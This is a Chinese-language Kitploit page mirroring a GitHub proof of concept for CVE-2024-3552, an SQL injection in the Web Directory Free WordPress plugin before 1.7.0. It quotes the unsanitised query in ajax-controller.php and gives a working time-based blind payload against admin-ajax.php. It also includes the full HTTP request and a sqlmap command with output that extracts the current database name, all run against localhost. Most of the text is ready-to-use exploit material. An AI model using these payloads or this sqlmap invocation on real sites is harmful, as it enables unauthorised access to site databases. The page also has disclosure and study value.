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cve-2024-3552 | Kitploit
工具/GitHubGitHub/kiphuong/cve-2024-3552
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubkiphuong/cve-2024-3552

cve-2024-3552

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1年前尚未审核

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描述

Web Directory Free(WordPress)插件在 1.7.0 之前的版本存在 SQL 注入漏洞。AJAX 执行函数未经过充分的过滤/净化(sanitise),允许攻击者使 SQL 查询失效或注入额外的子句(UNION、时间型、报错型)

上下文

  • WordPress 版本 5.8
  • web-directory-free 插件版本 1.6.9
  • MySQL 版本 5.7

源代码

图片

在文件 ajax-controller.php → 类 w2dc_ajax_controller → 函数 get_map_marker_info 中

  1. 直接通过 $_POST['locations_ids'] 的值接收用户输入,且未进行验证(validate)
  2. 未对输入进行转义(escape)或预处理(prepare)$locations_ids = w2dc_getValue($_POST, 'locations_ids');
  3. 通过 foreach 循环遍历 $_POST['locations_ids'] 中的每个元素 $location_id,直接拼接进 SQL 查询语句
root@kitploit:~
$row = $wpdb->get_row("SELECT * FROM {$wpdb->w2dc_locations_relationships} WHERE id=".$location_id, ARRAY_A);

⇒ 导致 SQL 注入

演示

使用 payload =action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)

请求:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Length: 110
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/wp-admin/
Accept-Encoding: gzip, deflate, br

action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)
  1. 当使用条件为真的 payload 时 ⇒ 即 IF(1=1, …) ⇒ 延迟 5 秒
图片 (1)
  1. 当使用条件为假的 payload 时 ⇒ 即 IF(1=2, …) ⇒ 无延迟
图片 (2)

结论:

  • 当使用条件为真的 payload 时,服务器响应时间约为 6 秒 ⇒ 已执行 SLEEP(5)
  • 当使用条件为假的 payload 时,服务器响应时间约为 1 秒 ⇒ 未执行 SLEEP(5)

⇒ 已成功执行注入的查询 ⇒ 利用成功

使用 sqlmap 进行扫描

root@kitploit:~
kp@ubuntu:~/Desktop/cve-2024-3552$ sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
>   --data="action=w2dc_get_map_marker_info&locations_ids[]=1" \
>   -p "locations_ids[]" \
>   --batch --current-db --threads=5
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:59:23 /2025-07-22/

[00:59:24] [INFO] testing connection to the target URL
[00:59:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:59:24] [INFO] testing if the target URL content is stable
[00:59:24] [INFO] target URL content is stable
[00:59:24] [WARNING] heuristic (basic) test shows that POST parameter 'locations_ids[]' might not be injectable
[00:59:24] [INFO] testing for SQL injection on POST parameter 'locations_ids[]'
[00:59:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:59:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[00:59:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:59:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:59:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[00:59:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:59:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[00:59:27] [INFO] testing 'Generic inline queries'
[00:59:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[00:59:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[00:59:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[00:59:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:59:38] [INFO] POST parameter 'locations_ids[]' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:59:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:59:38] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:59:40] [INFO] checking if the injection point on POST parameter 'locations_ids[]' is a false positive
POST parameter 'locations_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: locations_ids[] (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO)
---
[00:59:55] [INFO] the back-end DBMS is MySQL
[00:59:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[00:59:56] [INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[00:59:56] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[01:00:11] [INFO] adjusting time delay to 1 second due to good response times
wp_db
current database: 'wp_db'
[01:00:34] [INFO] fetched data logged to text files under '/home/kp/.sqlmap/output/localhost'
[01:00:34] [WARNING] you haven't updated sqlmap for more than 1936 days!!!

[*] ending @ 01:00:34 /2025-07-22/

获得 Payload = action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO) ⇒ 存在 SQLi 漏洞

Github

https://github.com/KiPhuong/cve-2024-3552.git

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